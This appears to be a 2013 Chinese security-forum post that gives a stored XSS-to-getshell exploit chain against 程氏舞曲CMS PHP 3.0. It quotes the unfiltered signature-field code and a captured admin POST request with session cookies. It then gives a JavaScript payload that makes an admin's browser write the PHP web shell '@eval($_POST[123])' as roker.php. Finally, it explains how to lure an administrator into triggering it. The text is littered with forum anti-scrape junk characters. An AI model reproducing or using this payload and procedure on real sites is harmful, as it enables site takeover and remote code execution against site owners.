找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2654|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题/ z" Y9 W# r( G$ ~  Y0 g
官网已经修补了,所以重新下了源码
7 [' i" a# Q7 f# n+ A- _( V5 ?因为 后台登入 还需要认证码 所以 注入就没看了。1 g7 j7 O  ]/ h& C7 {, c) C9 q
存在 xss
( E% k# L% B4 B4 O2 X) C8 m漏洞文件 user/member/skin_edit.php) e" C1 `# m+ \+ L
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:% U8 D1 L) X- \8 k0 D. h; Q
  - X* [8 u: k+ o" o  [: l$ ~% A  }# m/ [
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
" C. f* B7 g  ]& r$ T8 e  
9 R: U( p7 E& O! F% D</textarea></td></tr>  `6 N, v0 z! f) @  z* T
  
4 \# k6 J( O: }' \+ S             user/do.php ' e. |# [2 D1 v2 S( L) M! O
; x3 a8 l  G, Q5 l! Y& G4 v
7 ?0 X5 H- f; z- u2 s
if($op=='zl'){ //资料
% M7 c# n. _, M; q  A  # _, ]4 v7 N- ]+ e  q5 X
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
" p- |  c) k) B' c5 a) U9 _- [             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
$ A/ }5 E( M& T  , w! w; E+ \! g5 i# L
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
' R% l# M3 F: K) c* y9 E  w  ) U& X8 q- ^1 C1 _2 h$ T
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'" D) X: w. L0 E$ X4 j- F* j
             where CS_Name='".$cscms_name."'";
5 Z8 d& Z* c( }! D" S0 T  {  5 i) n5 O) B" }8 n" Z
             if($db->query($sql)){  j  o5 d/ O1 E3 c
  
" Q8 O# v& ~# w7 H' L              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
1 J$ p% ^3 R" z, Y: b3 k  
7 ]- S, P- `9 x# V& X             }else{/ u3 ^' P7 z  r  C& N% |- \
  ; `6 @% K. o- q: X3 V+ t1 k1 y
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
$ K9 @; y2 n! ?3 i+ k4 `$ Z/ k9 S  
1 e) c$ g9 [( T: p: K, A             }% p3 a) c, g' S
  i. f2 o, ?; L% m; Q" t2 Q

1 `4 A) n2 j4 l没有 过滤导致xss产生。
7 P" @% x+ y. i3 z& `# ?后台 看了下 很奇葩的是可以写任意格式文件。。9 C4 ~7 @$ S$ @- c, o8 @7 U
抓包。。
6 L, Y  Z; n' C! b5 Y8 l4 D
- Q7 Z( c5 I2 n* d5 Y  l: Y/ J* r' S7 |6 t: @! `
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.14 K5 P9 j0 C9 @9 a$ C$ w1 k! u. S
  9 X" w5 Z: e4 h) V( X& u
Accept: text/html, application/xhtml+xml, */*. _6 ~, H5 y/ s0 [0 A" [$ w
  
* g9 F( c( E! tReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
5 I7 D* }8 B! D" z- p* @4 e  6 Y0 }6 j$ ~5 A3 G% }7 a8 n; y
Accept-Language: zh-CN
; e! h  m+ g8 a" O2 a$ J2 p  ' q/ c! e' @) e5 J$ `; R# |
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
9 f9 k! `2 P( l2 |  
' t$ h4 ?) X- [7 |0 S- ?1 _8 NContent-Type: application/x-www-form-urlencoded0 r, n. l& v0 S  n9 V
  # O% @; r  H8 m: I
Accept-Encoding: gzip, deflate
+ O! E* m2 @2 [" y; d8 i  
2 p% L) Z6 }1 s3 rHost: 127.0.0.1. C, j! h# {0 ~
  - z3 a! ?- I- @. T  o
Content-Length: 38" [& B) [+ t- S' H4 H/ w7 P! R
  4 b7 u- b7 T! l" h$ X
DNT: 1; f+ s. z5 Z: K( {+ G' Z
  
1 ~) O8 b$ H) o( j! QConnection: Keep-Alive
; z+ d3 |9 f2 a5 V4 G! O, A  : Y- @; K0 k5 x- s$ v+ z# x
Cache-Control: no-cache
8 W3 H7 v$ E2 z- L0 m  0 K9 K0 ^! q) D5 _6 [& `" N
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594- w) K- a: ?( z# G) E2 ^) M
  
4 ^* _7 F4 L' D# y8 z5 v3 Z
  k; f) K. u& Q+ O% H2 hname=aaa.php&content=%3Cs%3E%3Ca%25%3E
7 {4 C# f# B1 N0 E# n1 n. N. ~1 J+ y0 I* i6 `6 @1 a
  y5 u! @0 m# ^4 \# Q0 T2 x
" R7 r+ n" b' X1 ^
于是 构造js如下。5 o2 _5 w, t: T% }/ i# r- Z6 y$ |

) l  N1 L  z/ e9 ~) L本帖隐藏的内容<script>
, l1 O8 F7 Z8 H* R) uthisTHost = top.location.hostname;5 U4 y5 w$ Q& b
  5 |! ^2 ^- l3 t- R* v
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
3 H7 [. U$ O) Q7 X7 k) V  7 Y" k5 }8 ^3 I7 k0 ^
function PostSubmit(url, data, msg) { / c+ I3 F+ f: v; R  a2 M
    var postUrl = url;5 k$ k( |8 p6 K( ], F
  2 l+ c) M" i! ~3 b4 s# o
    var postData = data; ; ^* A8 `& w7 Z
    var msgData = msg; ; ]5 `* Y1 x' h. n
    var ExportForm = document.createElement("FORM");
$ m( c6 S$ g" M/ I+ I+ {4 c    document.body.appendChild(ExportForm);
, R  t# K8 u' y& T0 y' J    ExportForm.method = "POST"; 0 E" Y* i7 N9 R/ z) I7 C& f
    var newElement = document.createElement("input"); 4 ]" p2 |' M8 [3 c8 u' Y2 o
    newElement.setAttribute("name", "name"); / x0 s" q; Y7 p: _* P
    newElement.setAttribute("type", "hidden"); / [4 Y1 D/ m4 o: ]# ]& i! S* [+ R
    var newElement2 = document.createElement("input"); ; T( x9 c7 f* z
    newElement2.setAttribute("name", "content"); $ _6 y; A  t4 I$ P$ H/ Q* n/ w9 |3 @$ f
    newElement2.setAttribute("type", "hidden");
* D  B) w/ F" p. Q6 K- y! W    ExportForm.appendChild(newElement);
9 X5 B5 e4 Y3 u- W2 U    ExportForm.appendChild(newElement2); . `4 w* Q9 L7 }9 V6 g2 w  K
    newElement.value = postData;
) d  g6 k9 h1 O- c; E. V' s    newElement2.value = msgData;
1 ?3 C' I* H7 B7 ?    ExportForm.action = postUrl; * ~1 K" F& y% \$ o/ |+ U  e
    ExportForm.submit();
& N) S+ |% o- d+ c};& L: t8 G6 H1 \& i
  - t2 x# Y: g, I# n
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
8 \" t8 @! Z8 U3 a0 \  
/ }; y* X* r1 P$ W$ L: Q</script>
6 \7 F, M* ^. [/ h5 K8 @& X( O# N) {2 c9 F
1 w2 \6 k3 k; C! s& R7 s% }

6 K/ f9 k/ q6 k; X* hhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入# }* n/ |3 Z1 T) e% \
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)" z; K' w0 @$ u& k+ U+ T
就会 在 skins\index\html\目录下生成 roker.php 一句话。
5 l. _0 X9 ?% K* h5 I. v& w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表